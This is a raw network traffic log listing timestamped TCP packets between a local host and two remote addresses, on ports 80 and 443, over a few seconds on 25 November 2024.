Nov 25, 2024 18:28:37.068289042 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.068327904 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.068759918 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.068963051 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.069048882 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.069087029 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.069776058 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.069812059 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.069860935 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.070417881 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.070605993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.070666075 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.071244955 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.071255922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.071295977 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.072778940 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.072791100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.072802067 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.072833061 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.072837114 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.072876930 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.073518038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.073530912 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.073569059 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.074250937 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.075037003 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.075048923 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.075094938 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.075159073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.075197935 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.075773001 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.076242924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.076313019 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.076571941 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.076586962 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.076627016 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.077311039 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.078078032 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.078089952 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.078133106 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.078159094 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.078196049 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.078871012 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.078932047 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.078998089 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.079659939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.079778910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.079828978 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.080446959 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.080538988 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.080588102 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.081147909 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.081264973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.081309080 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.081929922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.082042933 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.082104921 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.082602978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.086880922 CET	443	49761	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.086949110 CET	443	49761	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.087007046 CET	49761	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.087188005 CET	49761	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.087203026 CET	443	49761	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.087212086 CET	49761	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.087217093 CET	443	49761	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.089703083 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.089730024 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.089943886 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.090140104 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.090150118 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.138881922 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.244482994 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.244597912 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.244748116 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.244874954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.244980097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.245042086 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.245716095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.245729923 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.245798111 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.246401072 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.246510029 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.246577024 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.247180939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.247195959 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.247287989 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.247992039 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.248272896 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.248363972 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.248703957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.248733044 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.248790979 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.249459028 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.249470949 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.249519110 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.250221968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.250374079 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.250425100 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.250993967 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.251053095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.251105070 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.251784086 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.251910925 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.251956940 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.252502918 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.252847910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.252906084 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.253256083 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.253309011 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.254010916 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.254059076 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.254245043 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.254861116 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.254909039 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.254920006 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.254955053 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.255580902 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.255769968 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.255814075 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.256339073 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.256351948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.256393909 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.257116079 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.257201910 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.257249117 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.257831097 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.258052111 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.258100986 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.258591890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.259385109 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.259397030 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.259409904 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.259434938 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.259450912 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.260117054 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.260860920 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.260961056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.260972023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.261008978 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.261657000 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.261758089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.261918068 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.262423038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.262655973 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.262713909 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.263226986 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.263241053 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.263283968 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.263920069 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.264058113 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.264111996 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.264718056 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.264866114 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.264946938 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.265511036 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.265527964 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.265590906 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.266252041 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.266567945 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.266617060 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.267008066 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.267282963 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.267328978 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.267859936 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.267872095 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.267929077 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.268739939 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.268767118 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.268819094 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.269527912 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.269541979 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.269591093 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.270219088 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.270412922 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.270463943 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.270999908 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.271091938 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.271147013 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.271737099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.271939993 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.271990061 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.272367954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.272818089 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.272881985 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.273170948 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.273350954 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.273399115 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.273861885 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.273993969 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.274045944 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.274662018 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.274708033 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.274750948 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.275440931 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.275614023 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.275661945 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.276184082 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.276828051 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.276885033 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.277026892 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.277040005 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.277080059 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.277671099 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.277827978 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.278460026 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.278508902 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.279181957 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.279268980 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.279283047 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.279356003 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.280009985 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.280225039 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.280281067 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.280774117 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.281419992 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.281474113 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.281558037 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.281569004 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.281605959 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.282263041 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.282327890 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.282390118 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.283112049 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.283123970 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.283170938 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.283854961 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.284046888 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.284101009 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.284537077 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.326345921 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.445947886 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.446105003 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.446194887 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.446291924 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.446305037 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.446360111 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.446924925 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.446938038 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.446983099 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.447616100 CET	80	49752	185.215.113.16	192.168.2.6
Nov 25, 2024 18:28:37.496568918 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.496728897 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.496840954 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.497102022 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.497123003 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.497138977 CET	49763	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.497143984 CET	443	49763	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.498205900 CET	49752	80	192.168.2.6	185.215.113.16
Nov 25, 2024 18:28:37.504878044 CET	49768	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.504920006 CET	443	49768	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:37.505125999 CET	49768	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.505255938 CET	49768	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:37.505270958 CET	443	49768	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.589804888 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.590320110 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:38.590348959 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.590804100 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:38.590811968 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.688849926 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.689291954 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:38.689301968 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.689743042 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:38.689748049 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.892812014 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.893238068 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:38.893256903 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.893798113 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:38.893801928 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.944305897 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.944881916 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:38.944902897 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:38.945336103 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:38.945342064 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.041929007 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.041989088 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.042095900 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.042335033 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.042335033 CET	49764	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.042360067 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.042373896 CET	443	49764	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.045367956 CET	49769	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.045397997 CET	443	49769	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.045492887 CET	49769	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.045641899 CET	49769	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.045653105 CET	443	49769	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.244947910 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.245024920 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.245115995 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.245310068 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.245335102 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.245345116 CET	49765	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.245351076 CET	443	49765	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.248281002 CET	49770	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.248308897 CET	443	49770	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.248384953 CET	49770	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.248517036 CET	49770	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.248529911 CET	443	49770	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.270967007 CET	443	49768	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.271505117 CET	49768	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.271513939 CET	443	49768	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.271863937 CET	49768	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.271868944 CET	443	49768	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.345995903 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.346076965 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.346220970 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.346466064 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.346486092 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.346494913 CET	49767	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.346501112 CET	443	49767	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.349580050 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.349615097 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.349719048 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.349883080 CET	49771	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.349895000 CET	443	49771	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.401189089 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.401257992 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.401340008 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.401576996 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.401576996 CET	49766	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.401603937 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.401616096 CET	443	49766	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.404520988 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.404563904 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.404644012 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.404822111 CET	49772	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.404831886 CET	443	49772	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.739295959 CET	443	49768	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.739377022 CET	443	49768	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.739424944 CET	49768	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.739614010 CET	49768	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.739630938 CET	443	49768	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.739644051 CET	49768	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.739649057 CET	443	49768	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.742887020 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.742938042 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:39.743000984 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.744360924 CET	49773	443	192.168.2.6	13.107.246.63
Nov 25, 2024 18:28:39.744381905 CET	443	49773	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:40.847841978 CET	443	49769	13.107.246.63	192.168.2.6
Nov 25, 2024 18:28:40.849519968 CET	49769	443	192.168.2.6	13.107.246.63
